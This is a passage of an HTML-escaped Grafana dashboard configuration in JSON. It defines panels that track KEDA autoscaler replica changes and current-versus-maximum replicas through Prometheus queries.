/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;result&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;color&quot;:&amp;nbsp;&quot;light-red&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;index&quot;:&amp;nbsp;1,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;text&quot;:&amp;nbsp;&quot;Scaling&amp;nbsp;down&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;to&quot;:&amp;nbsp;0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;range&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;options&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;from&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;result&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;color&quot;:&amp;nbsp;&quot;semi-dark-red&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;index&quot;:&amp;nbsp;2,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;text&quot;:&amp;nbsp;&quot;Scaling&amp;nbsp;up&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;to&quot;:&amp;nbsp;200&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;range&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;thresholds&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;absolute&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;steps&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;color&quot;:&amp;nbsp;&quot;green&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;null&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;unit&quot;:&amp;nbsp;&quot;none&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;overrides&quot;:&amp;nbsp;[]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;gridPos&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;h&quot;:&amp;nbsp;8,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;w&quot;:&amp;nbsp;24,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;x&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;y&quot;:&amp;nbsp;28&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;16,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;options&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;alignValue&quot;:&amp;nbsp;&quot;left&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;legend&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;displayMode&quot;:&amp;nbsp;&quot;list&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;placement&quot;:&amp;nbsp;&quot;bottom&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;showLegend&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;width&quot;:&amp;nbsp;0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mergeValues&quot;:&amp;nbsp;true,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;rowHeight&quot;:&amp;nbsp;1,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;showValue&quot;:&amp;nbsp;&quot;never&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;tooltip&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;single&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sort&quot;:&amp;nbsp;&quot;none&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;targets&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;datasource&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;prometheus&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;uid&quot;:&amp;nbsp;&quot;${datasource}&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;editorMode&quot;:&amp;nbsp;&quot;code&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;exemplar&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;expr&quot;:&amp;nbsp;&quot;delta(kube_horizontalpodautoscaler_status_current_replicas{namespace=\&quot;$namespace\&quot;,horizontalpodautoscaler=\&quot;keda-hpa-$scaledObject\&quot;}[1m])&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;format&quot;:&amp;nbsp;&quot;time_series&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;instant&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;interval&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;legendFormat&quot;:&amp;nbsp;&quot;.&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;range&quot;:&amp;nbsp;true,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;refId&quot;:&amp;nbsp;&quot;A&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;title&quot;:&amp;nbsp;&quot;Changes&amp;nbsp;in&amp;nbsp;replicas&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;state-timeline&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;datasource&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;prometheus&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;uid&quot;:&amp;nbsp;&quot;${datasource}&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;description&quot;:&amp;nbsp;&quot;shows&amp;nbsp;current&amp;nbsp;replicas&amp;nbsp;against&amp;nbsp;max&amp;nbsp;ones&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;fieldConfig&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;defaults&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;color&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;thresholds&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mappings&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;min&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;thresholds&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;percentage&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;steps&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;color&quot;:&amp;nbsp;&quot;green&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;color&quot;:&amp;nbsp;&quot;red&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;80&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;unit&quot;:&amp;nbsp;&quot;short&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;overrides&quot;:&amp;nbsp;[]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;gridPos&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;h&quot;:&amp;nbsp;8,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;w&quot;:&amp;nbsp;12,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;x&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;y&quot;:&amp;nbsp;36&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;15,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;options&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;orientation&quot;:&amp;nbsp;&quot;auto&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;reduceOptions&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;calcs&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;lastNotNull&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;fields&quot;:&amp;nbsp;&quot;/^current_replicas$/&quot;,&lt;br 